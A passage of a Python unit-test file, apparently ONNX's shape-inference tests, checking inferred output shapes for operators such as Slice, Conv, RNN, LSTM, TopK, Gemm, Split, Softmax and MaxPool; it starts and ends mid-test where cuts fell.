TensorProto.INT64, (2,), (200, 3)), make_tensor('axes', TensorProto.INT64, (2,), (0, 1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 2))]) # type: ignore def test_slice_negative_step(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4)), ('starts', TensorProto.INT64, (2,)), ('ends', TensorProto.INT64, (2,)), ('axes', TensorProto.INT64, (2,)), ('steps', TensorProto.INT64, (2,))], [make_node('Slice', ['x', 'starts', 'ends', 'axes', 'steps'], 'y')], [], initializer=[make_tensor('starts', TensorProto.INT64, (2,), (1, 4)), # 4 will be clamped to 3 since we are negative stepping make_tensor('ends', TensorProto.INT64, (2,), (200, 0)), make_tensor('axes', TensorProto.INT64, (2,), (0, 1)), make_tensor('steps', TensorProto.INT64, (2,), (1, -1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 3))]) # type: ignore def test_slice_variable_copy(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, ("a", 2)), ('starts', TensorProto.INT64, (1,)), ('ends', TensorProto.INT64, (1,)), ('axes', TensorProto.INT64, (1,))], [make_node('Slice', ['x', 'starts', 'ends', 'axes'], 'y')], [], initializer=[make_tensor('starts', TensorProto.INT64, (1,), (1,)), make_tensor('ends', TensorProto.INT64, (1,), (200,)), make_tensor('axes', TensorProto.INT64, (1,), (1,))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, ("a", 1))]) # type: ignore def test_slice_variable_input_types(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.DOUBLE, (3, 2)), ('starts', TensorProto.INT32, (2,)), ('ends', TensorProto.INT32, (2,)), ('axes', TensorProto.INT32, (2,))], [make_node('Slice', ['x', 'starts', 'ends', 'axes'], 'y')], [], initializer=[make_tensor('starts', TensorProto.INT32, (2,), (1, 0)), make_tensor('ends', TensorProto.INT32, (2,), (200, 22000)), make_tensor('axes', TensorProto.INT32, (2,), (0, 1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.DOUBLE, (2, 2))]) def test_conv(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5, 6, 7)), ('y', TensorProto.FLOAT, (5, 4, 2, 4, 3))], [make_node('Conv', ['x', 'y'], 'z', pads=[0, 1, 1, 0, 0, 1], dilations=[1, 2, 2], strides=[1, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (3, 5, 4, 1, 3))]) def test_conv_1d_simple(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 5)), ('y', TensorProto.FLOAT, (50, 4, 2))], [make_node('Conv', ['x', 'y'], 'z', dilations=[1])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 50, 4))]) def test_conv_dilations(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 8, 8, 8)), ('y', TensorProto.FLOAT, (50, 4, 3, 3, 3))], [make_node('Conv', ['x', 'y'], 'z', dilations=[1, 2, 3])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 50, 6, 4, 2))]) def test_conv_strides(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 8, 8, 8)), ('y', TensorProto.FLOAT, (50, 4, 3, 3, 3))], [make_node('Conv', ['x', 'y'], 'z', strides=[1, 2, 3])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 50, 6, 3, 2))]) def test_conv_pads(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 7, 6, 4)), ('y', TensorProto.FLOAT, (50, 4, 3, 3, 3))], [make_node('Conv', ['x', 'y'], 'z', pads=[1, 1, 2, 0, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 50, 6, 6, 6))]) def test_conv_auto_pad(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 7, 6, 4)), ('y', TensorProto.FLOAT, (50, 4, 4, 3, 2))], [make_node('Conv', ['x', 'y'], 'z', auto_pad='SAME_UPPER')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 50, 7, 6, 4))]) def test_conv_auto_pads(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 7, 6, 4)), ('y', TensorProto.FLOAT, (50, 4, 4, 3, 2))], [make_node('Conv', ['x', 'y'], 'z', auto_pad='SAME_UPPER', strides=[2, 2, 1])], []) self._assert_inferred( graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 50, 4, 3, 4))]) def test_conv_auto_pad_dilation(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 65, 64, 63)), ('y', TensorProto.FLOAT, (50, 4, 4, 3, 2))], [make_node('Conv', ['x', 'y'], 'z', auto_pad='SAME_UPPER', dilations=[2, 3, 4])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 50, 65, 64, 63))]) def test_conv_group(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 8, 8, 8)), ('y', TensorProto.FLOAT, (4, 1, 8, 8, 8))], [make_node('Conv', ['x', 'y'], 'z', group=4)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 4, 1, 1, 1))]) def test_conv_only_one_pos(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 5)), ('y', TensorProto.FLOAT, (50, 4, 5))], [make_node('Conv', ['x', 'y'], 'z', strides=[2])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 50, 1))]) def test_conv_partial_missing_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, None, 6, 4)), ('y', TensorProto.FLOAT, (50, 4, 3, 3, 3))], [make_node('Conv', ['x', 'y'], 'z', pads=[1, 1, 2, 0, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 50, None, 6, 6))]) # type: ignore def test_conv_partial_missing_weight_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 7, 6, 4)), ('y', TensorProto.FLOAT, (50, 4, None, 3, 3))], [make_node('Conv', ['x', 'y'], 'z', pads=[1, 1, 2, 0, 1, 2])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, None)]) def test_average_pool_auto_pads(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 7, 6, 4))], [make_node('AveragePool', ['x'], 'z', auto_pad='SAME_UPPER', kernel_shape=[4, 3, 2], strides=[2, 2, 1])], []) self._assert_inferred( graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 4, 4, 3, 4))]) def test_relu(self): # type: () -> None self._identity_prop('Relu') def test_identity(self): # type: () -> None self._identity_prop('Identity') def test_identity_sequence(self): # type: () -> None graph = self._make_graph( [('input1', TensorProto.FLOAT, (2, 3, 4)), ('input2', TensorProto.FLOAT, (2, 3, 4)), ('input3', TensorProto.FLOAT, (2, 5, 4))], [make_node('SequenceConstruct', ['input1', 'input2', 'input3'], ['in_sequence']), make_node('Identity', ['in_sequence'], ['output_sequence'])], []) self._assert_inferred( graph, [make_sequence_value_info('in_sequence', TensorProto.FLOAT, (2, None, 4)), # type: ignore make_sequence_value_info('output_sequence', TensorProto.FLOAT, (2, None, 4))]) # type: ignore def test_add(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 5)), ('y', TensorProto.FLOAT, (30, 4, 5))], [make_node('Add', ['x', 'y'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 4, 5))]) def test_pow(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 5)), ('y', TensorProto.FLOAT, (30, 4, 5))], [make_node('Pow', ['x', 'y'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (30, 4, 5))]) def test_bitshift(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT32, (2, 3, 1)), ('y', TensorProto.UINT32, (2, 3, 1))], [make_node('BitShift', ['x', 'y'], 'z', direction="RIGHT")], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.UINT32, (2, 3, 1))]) def test_bitshift_broadcast_to_first(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT32, (16, 4, 1)), ('y', TensorProto.UINT32, (1,))], [make_node('BitShift', ['x', 'y'], 'z', direction="RIGHT")], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.UINT32, (16, 4, 1))]) def test_bitshift_broadcast_to_second(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.UINT32, (1,)), ('y', TensorProto.UINT32, (2, 3, 1))], [make_node('BitShift', ['x', 'y'], 'z', direction="RIGHT")], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.UINT32, (2, 3, 1))]) def test_sum_single(self): # type: () -> None self._identity_prop('Sum') def test_sum_multi(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 4, 5)), ('y', TensorProto.FLOAT, (30, 4, 5)), ('z', TensorProto.FLOAT, (30, 4, 5))], [make_node('Sum', ['x', 'y', 'z'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (30, 4, 5))]) def test_sum_multi_broadcasting(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (30, 1, 5)), ('y', TensorProto.FLOAT, ("a", 4, 1)), ('z', TensorProto.FLOAT, (4, "b"))], [make_node('Sum', ['x', 'y', 'z'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (30, 4, 5))]) def test_sum_broadcasting_param(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, ("a", 1, 5)), ('y', TensorProto.FLOAT, ("a", 4, 1))], [make_node('Sum', ['x', 'y'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, ("a", 4, 5))]) def test_random_normal(self): # type: () -> None graph = self._make_graph( [], [make_node('RandomNormal', [], ['out'], dtype=TensorProto.DOUBLE, shape=(3, 4, 5))], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.DOUBLE, (3, 4, 5))]) def test_random_normal_like(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (2, 3, 4))], [make_node('RandomNormalLike', ['X'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (2, 3, 4))]) def test_random_normal_like_with_dtype(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (2, 3, 4))], [make_node('RandomNormalLike', ['X'], ['out'], dtype=TensorProto.DOUBLE,)], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.DOUBLE, (2, 3, 4))]) def _logical_binary_op(self, op, input_type): # type: (Text, TensorProto.DataType) -> None graph = self._make_graph( [('x', input_type, (30, 4, 5)), ('y', input_type, (30, 4, 5))], [make_node(op, ['x', 'y'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.BOOL, (30, 4, 5))]) def _logical_binary_op_with_broadcasting(self, op, input_type): # type: (Text, TensorProto.DataType) -> None graph = self._make_graph( [('x', input_type, (1, 5)), ('y', input_type, (30, 4, 5))], [make_node(op, ['x', 'y'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.BOOL, (30, 4, 5))]) def test_logical_and(self): # type: () -> None self._logical_binary_op('And', TensorProto.BOOL) self._logical_binary_op_with_broadcasting('And', TensorProto.BOOL) def test_logical_or(self): # type: () -> None self._logical_binary_op('Or', TensorProto.BOOL) self._logical_binary_op_with_broadcasting('Or', TensorProto.BOOL) def test_logical_xor(self): # type: () -> None self._logical_binary_op('Xor', TensorProto.BOOL) self._logical_binary_op_with_broadcasting('Xor', TensorProto.BOOL) def test_greater(self): # type: () -> None self._logical_binary_op('Greater', TensorProto.BOOL) self._logical_binary_op_with_broadcasting('Greater', TensorProto.BOOL) def test_less(self): # type: () -> None self._logical_binary_op('Less', TensorProto.BOOL) self._logical_binary_op_with_broadcasting('Less', TensorProto.BOOL) def test_equal(self): # type: () -> None self._logical_binary_op('Equal', TensorProto.BOOL) self._logical_binary_op_with_broadcasting('Equal', TensorProto.BOOL) def test_logical_not(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.BOOL, (30, 4, 5))], [make_node('Not', ['x'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.BOOL, (30, 4, 5))]) def test_less_or_equal(self): # type: () -> None self._logical_binary_op('LessOrEqual', TensorProto.BOOL) self._logical_binary_op_with_broadcasting('LessOrEqual', TensorProto.BOOL) def test_greater_or_equal(self): # type: () -> None self._logical_binary_op('GreaterOrEqual', TensorProto.BOOL) self._logical_binary_op_with_broadcasting('GreaterOrEqual', TensorProto.BOOL) def test_flatten(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 3, 4, 5))], [make_node('Flatten', ['x'], ['z'], axis=2)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (6, 20))]) def test_flatten_default_axis(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 3, 4, 5))], [make_node('Flatten', ['x'], ['z'])], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (2, 60))]) def test_flatten_zero_axis(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 3, 4, 5))], [make_node('Flatten', ['x'], ['z'], axis=0)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (1, 120))]) def test_flatten_unknown_dim(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 'N', 4, 5))], [make_node('Flatten', ['x'], ['z'], axis=2)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (None, 20))]) # type: ignore def test_space_to_depth(self): # type: () -> None b = 10 graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 3, 100, 100))], [make_node('SpaceToDepth', ['x'], ['z'], blocksize=b)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (2, 300, 10, 10))]) def test_space_to_depth_unknown_dim(self): # type: () -> None b = 10 graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 'N', 100, 100))], [make_node('SpaceToDepth', ['x'], ['z'], blocksize=b)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (2, None, 10, 10))]) # type: ignore def test_depth_to_space(self): # type: () -> None b = 10 graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 300, 10, 10))], [make_node('DepthToSpace', ['x'], ['z'], blocksize=b, mode='DCR')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (2, 3, 100, 100))]) def _rnn_forward(self, seqlen, batchsize, inpsize, hiddensize): # type: (int, int, int, int) -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (seqlen, batchsize, inpsize)), ('w', TensorProto.FLOAT, (1, hiddensize, inpsize)), ('r', TensorProto.FLOAT, (1, hiddensize, hiddensize))], [make_node('RNN', ['x', 'w', 'r'], ['all', 'last'], hidden_size=hiddensize)], []) self._assert_inferred(graph, [ make_tensor_value_info('all', TensorProto.FLOAT, (seqlen, 1, batchsize, hiddensize)), make_tensor_value_info('last', TensorProto.FLOAT, (1, batchsize, hiddensize))]) def test_rnn_forward(self): # type: () -> None self._rnn_forward(64, 32, 10, 4) def _rnn_bidirectional(self, seqlen, batchsize, inpsize, hiddensize): # type: (int, int, int, int) -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (seqlen, batchsize, inpsize)), ('w', TensorProto.FLOAT, (2, hiddensize, inpsize)), ('r', TensorProto.FLOAT, (2, hiddensize, hiddensize))], [make_node('RNN', ['x', 'w', 'r'], ['all', 'last'], hidden_size=hiddensize, direction="bidirectional")], []) self._assert_inferred(graph, [ make_tensor_value_info('all', TensorProto.FLOAT, (seqlen, 2, batchsize, hiddensize)), make_tensor_value_info('last', TensorProto.FLOAT, (2, batchsize, hiddensize))]) def test_rnn_layout(self): # type: () -> None self._rnn_layout(64, 32, 10, 4) self._rnn_layout(64, 32, 10, 4, 'bidirectional') def _rnn_layout(self, seqlen, batchsize, inpsize, hiddensize, direction='forward'): # type: (int, int, int, int, Text) -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (batchsize, seqlen, inpsize)), ('w', TensorProto.FLOAT, (1, hiddensize, inpsize)), ('r', TensorProto.FLOAT, (1, hiddensize, hiddensize))], [make_node('RNN', ['x', 'w', 'r'], ['all', 'last'], hidden_size=hiddensize, layout=1, direction=direction)], []) if(direction == 'bidirectional'): num_directions = 2 else: num_directions = 1 self._assert_inferred(graph, [ make_tensor_value_info('all', TensorProto.FLOAT, (batchsize, seqlen, num_directions, hiddensize)), make_tensor_value_info('last', TensorProto.FLOAT, (batchsize, num_directions, hiddensize))]) def test_rnn_bidirectional(self): # type: () -> None self._rnn_bidirectional(64, 32, 10, 4) def _lstm_forward(self, seqlen, batchsize, inpsize, hiddensize): # type: (int, int, int, int) -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (seqlen, batchsize, inpsize)), ('w', TensorProto.FLOAT, (1, 4 * hiddensize, inpsize)), ('r', TensorProto.FLOAT, (1, 4 * hiddensize, hiddensize))], [make_node('LSTM', ['x', 'w', 'r'], ['all', 'hidden', 'last'], hidden_size=hiddensize)], []) self._assert_inferred(graph, [ make_tensor_value_info('all', TensorProto.FLOAT, (seqlen, 1, batchsize, hiddensize)), make_tensor_value_info('hidden', TensorProto.FLOAT, (1, batchsize, hiddensize)), make_tensor_value_info('last', TensorProto.FLOAT, (1, batchsize, hiddensize))]) def test_lstm_forward(self): # type: () -> None self._lstm_forward(64, 32, 10, 4) def test_topk_default_axis(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5, 10))], [make_node('TopK', ['x', 'k'], ['y', 'z'])], [], initializer=[make_tensor('k', TensorProto.INT64, (1,), (2,))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (3, 4, 5, 2)), make_tensor_value_info('z', TensorProto.INT64, (3, 4, 5, 2))]) def test_topk(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5, 10))], [make_node('TopK', ['x', 'k'], ['y', 'z'], axis=2)], [], initializer=[make_tensor('k', TensorProto.INT64, (1,), (2,))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (3, 4, 2, 10)), make_tensor_value_info('z', TensorProto.INT64, (3, 4, 2, 10))]) def test_topk_raw_data(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5, 10))], [make_node('TopK', ['x', 'k'], ['y', 'z'], axis=2)], [], initializer=[make_tensor('k', TensorProto.INT64, (1,), vals=np.array([3], dtype='<i8').tobytes(), raw=True)]) # Feed raw bytes (force little endian ordering like onnx standard) for test purpose self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (3, 4, 3, 10)), make_tensor_value_info('z', TensorProto.INT64, (3, 4, 3, 10))]) def test_topk_missing_k_value_output_rank_check(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5, 10)), ('k', TensorProto.INT64, (1,))], [make_node('TopK', ['x', 'k'], ['y', 'z'], axis=2)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (None, None, None, None)), # type: ignore make_tensor_value_info('z', TensorProto.INT64, (None, None, None, None))]) # type: ignore def test_gemm(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (7, 5)), ('y', TensorProto.FLOAT, (5, 11)), ('z', TensorProto.FLOAT, None)], [make_node('Gemm', ['x', 'y', 'z'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (7, 11))]) def test_gemm_transA(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (5, 7)), ('y', TensorProto.FLOAT, (5, 11)), ('z', TensorProto.FLOAT, None)], [make_node('Gemm', ['x', 'y', 'z'], ['out'], transA=1)], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (7, 11))]) def test_gemm_transB(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (7, 5)), ('y', TensorProto.FLOAT, (11, 5)), ('z', TensorProto.FLOAT, None)], [make_node('Gemm', ['x', 'y', 'z'], ['out'], transB=1)], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (7, 11))]) def test_gemm_transA_and_transB(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (5, 7)), ('y', TensorProto.FLOAT, (11, 5)), ('z', TensorProto.FLOAT, None)], [make_node('Gemm', ['x', 'y', 'z'], ['out'], transA=1, transB=1)], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (7, 11))]) def test_gemm_no_bias(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (13, 7)), ('y', TensorProto.FLOAT, (7, 17))], [make_node('Gemm', ['x', 'y'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (13, 17))]) def test_reduce_op_shape_2_axis(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (24, 4, 11))], [make_node('ReduceL1', 'x', 'y', axes=(1, 2), keepdims=0)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (24,))]) def test_reduce_op_shape_keep_dims(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (24, 4, 11))], [make_node('ReduceL1', 'x', 'y', axes=(1, 2), keepdims=1)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (24, 1, 1))]) def test_reduce_op_shape_default_value(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (24, 4, 11))], [make_node('ReduceL1', 'x', 'y')], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (1, 1, 1))]) def test_reduce_op_shape_no_axes_do_not_keep_dims(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (24, 4, 11))], [make_node('ReduceL1', 'x', 'y', keepdims=0)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, tuple())]) def test_reduce_op_shape_negative_axis(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (24, 4, 11))], [make_node('ReduceL1', 'x', 'y', axes=(-1, -2))], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (24, 1, 1))]) def test_argmax_shape(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (24, 4, 11))], [make_node('ArgMax', 'x', 'y', axis=1, keepdims=1)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, (24, 1, 11))]) def test_argmax_shape_keepdims(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (24, 4, 11))], [make_node('ArgMax', 'x', 'y', axis=0, keepdims=0)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, (4, 11))]) def test_argmax_shape_default_value(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (24, 4, 11))], [make_node('ArgMax', 'x', 'y')], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, (1, 4, 11))]) def test_argmax_shape_negative_axis(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (24, 4, 11))], [make_node('ArgMax', 'x', 'y', axis=-2)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.INT64, (24, 1, 11))]) def test_dropout(self): # type: () -> None graph = self._make_graph( [('data', TensorProto.FLOAT, (3, 4, 5,)), ('ratio', TensorProto.FLOAT, ())], [make_node('Dropout', ['data', 'ratio'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (3, 4, 5,))]) def test_LRN(self): # type: () -> None self._identity_prop('LRN', alpha=0.5, beta=0.5, size=1) def test_batch_norm(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (3, 4, 5, 6, 7)), ('scale', TensorProto.FLOAT, (4,)), ('b', TensorProto.FLOAT, (4,)), ('mean', TensorProto.FLOAT, (4,)), ('var', TensorProto.FLOAT, (4,))], [make_node('BatchNormalization', ['x', 'scale', 'b', 'mean', 'var'], ['out'])], []) self._assert_inferred(graph, [make_tensor_value_info('out', TensorProto.FLOAT, (3, 4, 5, 6, 7))]) def test_split_negative_axis(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 4))], [make_node('Split', ['x'], ['y', 'z'], axis=-1)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 2)), make_tensor_value_info('z', TensorProto.FLOAT, (2, 2))]) def test_split_with_split_attribute(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 4)), ('split', TensorProto.INT64, (2,))], [make_node('Split', ['x', 'split'], ['y', 'z'], axis=1)], [], initializer=[make_tensor('split', TensorProto.INT64, (2,), (3, 1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, 3)), make_tensor_value_info('z', TensorProto.FLOAT, (2, 1))]) def test_split_with_split_attribute_unknown_split_dim(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (2, 'a', 'b')), ('split', TensorProto.INT64, (2,))], [make_node('Split', ['x', 'split'], ['y', 'z'], axis=1)], [], initializer=[make_tensor('split', TensorProto.INT64, (2,), (3, 1))]) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (2, None, 'b')), # type: ignore make_tensor_value_info('z', TensorProto.FLOAT, (2, None, 'b'))]) # type: ignore def test_split_from_GLU(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (5, 6, 7))], [make_node('Split', ['x'], ['y', 'z'], axis=1)], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (5, 3, 7)), make_tensor_value_info('z', TensorProto.FLOAT, (5, 3, 7))]) def test_GLU_partial(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (5, 6, 7))], [make_node('Split', ['x'], ['y', 'z'], axis=1), make_node('Sigmoid', ['z'], ['a'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (5, 3, 7)), make_tensor_value_info('z', TensorProto.FLOAT, (5, 3, 7)), make_tensor_value_info('a', TensorProto.FLOAT, (5, 3, 7))]) def test_GLU(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (5, 6, 7))], [make_node('Split', ['x'], ['y', 'z'], axis=1), make_node('Sigmoid', ['z'], ['a']), make_node('Mul', ['y', 'a'], ['b'])], []) self._assert_inferred(graph, [make_tensor_value_info('y', TensorProto.FLOAT, (5, 3, 7)), make_tensor_value_info('z', TensorProto.FLOAT, (5, 3, 7)), make_tensor_value_info('a', TensorProto.FLOAT, (5, 3, 7)), make_tensor_value_info('b', TensorProto.FLOAT, (5, 3, 7))]) def test_softmax_2d(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5))], [make_node('Softmax', ['x'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (4, 5))]) def test_softmax_3d(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5, 6))], [make_node('Softmax', ['x'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (4, 5, 6))]) def test_hardmax_2d(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5))], [make_node('Hardmax', ['x'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (4, 5))]) def test_hardmax_3d(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5, 6))], [make_node('Hardmax', ['x'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (4, 5, 6))]) def test_logsoftmax_2d(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5))], [make_node('LogSoftmax', ['x'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (4, 5))]) def test_logsoftmax_3d(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5, 6))], [make_node('LogSoftmax', ['x'], 'z')], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (4, 5, 6))]) def test_logsoftmax_3d_negative_axis(self): # type: () -> None graph = self._make_graph( [('x', TensorProto.FLOAT, (4, 5, 6))], [make_node('LogSoftmax', ['x'], 'z', axis=-1)], []) self._assert_inferred(graph, [make_tensor_value_info('z', TensorProto.FLOAT, (4, 5, 6))]) def test_maxpool(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("MaxPool", ["X"], ["Y"], kernel_shape=[2, 2])], []) self._assert_inferred(graph, [make_tensor_value_info("Y", TensorProto.FLOAT, (5, 3, 3, 3))]) def test_maxpool_with_indices(self): # type: () -> None graph = self._make_graph( [("X", TensorProto.FLOAT, (5, 3, 4, 4))], [make_node("MaxPool", ["X"], 